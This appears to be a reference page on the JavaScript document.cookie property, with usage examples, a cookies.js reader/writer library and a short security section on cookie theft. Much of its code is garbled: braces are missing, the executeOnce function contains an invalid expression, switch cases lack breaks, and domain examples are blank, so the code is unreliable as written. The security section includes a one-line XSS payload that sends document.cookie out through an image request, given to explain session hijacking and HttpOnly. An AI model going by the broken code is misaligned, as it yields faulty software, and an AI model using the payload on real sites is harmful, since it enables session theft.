Get and set the cookies associated with the current document.


allCookies = document.cookie;

allCookies is a string containing a semicolon-separated list of cookies (i.e. key=value pairs)

document.cookie = updatedCookie;

updatedCookie is a string of form key=value. Note that you can only set/update a single cookie at a time using this method.

  • Any of the following cookie attribute values can optionally follow the key-value pair, specifying the cookie to set/update, and preceded by a semi-colon separator:
    • ;path=path (e.g., '/', '/mydir') If not specified, defaults to the current path of the current document location.
    • ;domain=domain (e.g., '', '' (includes all subdomains), '') If not specified, defaults to the host portion of the current document location.
    • ;max-age=max-age-in-seconds (e.g., 60*60*24*365 for a year)
    • ;expires=date-in-GMTString-format If not specified it will expire at the end of session.
    • ;secure (cookie to only be transmitted over secure protocol as https)
  • The cookie value string can use encodeURIComponent() to ensure that the string does not contain any commas, semicolons, or whitespace (which are disallowed in cookie values).

Gecko 6.0 note
(Firefox 6.0 / Thunderbird 6.0 / SeaMonkey 2.3)

Note that prior to Gecko 6.0 (Firefox 6.0 / Thunderbird 6.0 / SeaMonkey 2.3), paths with quotes were treated as if the quotes were part of the string, instead of as if they were delimiters surrounding the actual path string. This has been fixed.


Example #1: Simple usage

document.cookie = "name=oeschger";
document.cookie = "favorite_food=tripe";
// displays: name=oeschger;favorite_food=tripe
document.cookie = "test1=Hello";
document.cookie = "test2=World";

var myCookie = document.cookie.replace(/(?:(?:^|.*;\s*)test2\s*\=\s*([^;]*).*$)|^.*$/, "$1");

// displays: World

Example #3: Do something only once

function executeOnce () {
  var argc = arguments.length, bImplGlob = typeof arguments[argc - 1] === "string";
  if (bImplGlob) { argc++; }
  if (argc < 3) { throw new TypeError("executeOnce - not enough arguments"); }
  var fExec = arguments[0], sKey = arguments[argc - 2];
  if (typeof fExec !== "function") { throw new TypeError("executeOnce - first argument must be a function"); }
  if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) { throw new TypeError("executeOnce - invalid identifier"); }
  if (unescape(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + escape(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) === "1") { return false; }
  fExec.apply(argc > 3 ? arguments[1] : null, argc > 4 ?, 2, argc - 2) : []);
  document.cookie = escape(sKey) + "=1; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=" + ((bImplGlob ? false : arguments[argc - 1]) ? location.pathname : "/");
  return true;
executeOnce(callback[, thisObject[, argumentToPass1[, argumentToPass2[, …[, argumentToPassN]]]]], identifier[, onlyHere])

Executes a function only once, even after the refresh of the page.

callback (required)
The function to be executed (function).
thisObject (optional)
The this object (object or null).
argumentToPass1, argumentToPass2, argumentToPassN (optional)
The arguments of the callback function.
identifier (required)
The identifier to check, i.e. the name of the cookie (string)
onlyHere (optional)
A boolean expressing whether the cookie will use the local path (true) instead of the global one (false or undefined) (boolean or undefined)
Sample usage
function alertSomething (sMsg) {

executeOnce(alertSomething, null, "Hello world!!!!", "alert_something");

Example #3bis: Do something only once – simplified code

In order to use the following code, please, replace all occurrences of the word someCookieName (the name of the cookie) with a custom name.

if (document.cookie.replace(/(?:(?:^|.*;\s*)someCookieName\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") {
  alert("Do something here!");
  document.cookie = "someCookieName=true; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=/";

A little framework: a complete cookies reader/writer with full unicode support

|*|  :: cookies.js ::
|*|  A complete cookies reader/writer framework with full unicode support.
|*|  This framework is released under the GNU Public License, version 3 or later.
|*|  Syntaxes:
|*|  * docCookies.setItem(name, value[, end[, path[, domain[, secure]]]])
|*|  * docCookies.getItem(name)
|*|  * docCookies.removeItem(name[, path], domain)
|*|  * docCookies.hasItem(name)
|*|  * docCookies.keys()

var docCookies = {
  getItem: function (sKey) {
    return decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) || null;
  setItem: function (sKey, sValue, vEnd, sPath, sDomain, bSecure) {
    if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) { return false; }
    var sExpires = "";
    if (vEnd) {
      switch (vEnd.constructor) {
        case Number:
          sExpires = vEnd === Infinity ? "; expires=Fri, 31 Dec 9999 23:59:59 GMT" : "; max-age=" + vEnd;
        case String:
          sExpires = "; expires=" + vEnd;
        case Date:
          sExpires = "; expires=" + vEnd.toUTCString();
    document.cookie = encodeURIComponent(sKey) + "=" + encodeURIComponent(sValue) + sExpires + (sDomain ? "; domain=" + sDomain : "") + (sPath ? "; path=" + sPath : "") + (bSecure ? "; secure" : "");
    return true;
  removeItem: function (sKey, sPath, sDomain) {
    if (!sKey || !this.hasItem(sKey)) { return false; }
    document.cookie = encodeURIComponent(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT" + ( sDomain ? "; domain=" + sDomain : "") + ( sPath ? "; path=" + sPath : "");
    return true;
  hasItem: function (sKey) {
    return (new RegExp("(?:^|;\\s*)" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=")).test(document.cookie);
  keys: /* optional method: you can safely remove it! */ function () {
    var aKeys = document.cookie.replace(/((?:^|\s*;)[^\=]+)(?=;|$)|^\s*|\s*(?:\=[^;]*)?(?:\1|$)/g, "").split(/\s*(?:\=[^;]*)?;\s*/);
    for (var nIdx = 0; nIdx < aKeys.length; nIdx++) { aKeys[nIdx] = decodeURIComponent(aKeys[nIdx]); }
    return aKeys;
Note: For never-expire-cookies we used the arbitrarily distant date Fri, 31 Dec 9999 23:59:59 GMT. If for any reason you are afraid of such a date, use the conventional date of end of the world Tue, 19 Jan 2038 03:14:07 GMT – which is the maximum number of seconds elapsed since since 1 January 1970 00:00:00 UTC expressible by a signed 32-bit integer (i.e.: 01111111111111111111111111111111, which is new Date(0x7fffffff * 1e3)).
docCookies.setItem(name, value[, end[, path[, domain[, secure]]]])

Create/overwrite a cookie.

name (required)
The name of the cookie to create/overwrite (string).
value (required)
The value of the cookie (string).
end (optional)
The max-age in seconds (e.g. 31536e3 for a year, Infinity for a never-expires cookie) or the expires date in GMTString format or as Date object; if not specified it will expire at the end of session (number – finite or Infinitystring, Date object or null).
path (optional)
E.g., "/", "/mydir"; if not specified, defaults to the current path of the current document location (string or null).
domain (optional)
E.g., "", "" (includes all subdomains) or ""; if not specified, defaults to the host portion of the current document location (string or null).
secure (optional)
The cookie will be transmitted only over secure protocol as https (boolean or null).

Read a cookie. If the cookie doesn't exist a null value will be returned.

the name of the cookie to read (string).
docCookies.removeItem(name[, path],domain)

Delete a cookie.

the name of the cookie to remove (string).
path (optional)
e.g., "/", "/mydir"; if not specified, defaults to the current path of the current document location (string or null).
domain (optional)
E.g., "", "" (includes all subdomains) or ""; if not specified, defaults to the host portion of the current document location (string or null).

Check if a cookie exists.

the name of the cookie to test (string).

Getting the list of all cookies


Returns an array of all readable cookies from this location.

Example usage:

docCookies.setItem("test0", "Hello world!");
docCookies.setItem("test1", "Unicode test: \u00E0\u00E8\u00EC\u00F2\u00F9", Infinity);
docCookies.setItem("test2", "Hello world!", new Date(2020, 5, 12));
docCookies.setItem("test3", "Hello world!", new Date(2027, 2, 3), "/blog");
docCookies.setItem("test4", "Hello world!", "Sun, 06 Nov 2022 21:43:15 GMT");
docCookies.setItem("test5", "Hello world!", "Tue, 06 Dec 2022 13:11:07 GMT", "/home");
docCookies.setItem("test6", "Hello world!", 150);
docCookies.setItem("test7", "Hello world!", 245, "/content");
docCookies.setItem("test8", "Hello world!", null, null, "");
docCookies.setItem("test9", "Hello world!", null, null, null, true);
docCookies.setItem("test1;=", "Safe character test;=", Infinity);
docCookies.removeItem("test5", "/home");


It is important to note that the path restriction does not protect against unauthorized reading of the cookie from a different path. It can easily be bypassed with simple DOM (for example by creating a hidden iframe element with the path of the cookie, then accessing this iframe's contentDocument.cookie property). The only way to protect cookie access is by using a different domain or subdomain, due to the same origin policy.

Cookies are often used in web application to identify a user and their authenticated session. So stealing cookie from a web application, will lead to hijacking the authenticated user's session. Common ways to steal cookies include using Social Engineering or by exploiting an XSS vulnerability in the application - 

(new Image()).src = "" + document.cookie;

The HTTPOnly cookie attribute can help to mitigate this attack by preventing access to cookie value through Javascript. Read more about Cookies and Security.


  • Starting with Firefox 2, a better mechanism for client-side storage is available - WHATWG DOM Storage.
  • You can delete a cookie by simply updating its expiration time to zero.
  • Keep in mind that the more you have cookies the more data will be transferred between the server and the client for each request. This will make each request slower. It is highly recommended for you to use WHATWG DOM Storage if you are going to keep "client-only" data.


DOM Level 2: HTMLDocument.cookie

See also

Document Tags and Contributors

 Contributors to this page: Dria
 Last updated by: Dria,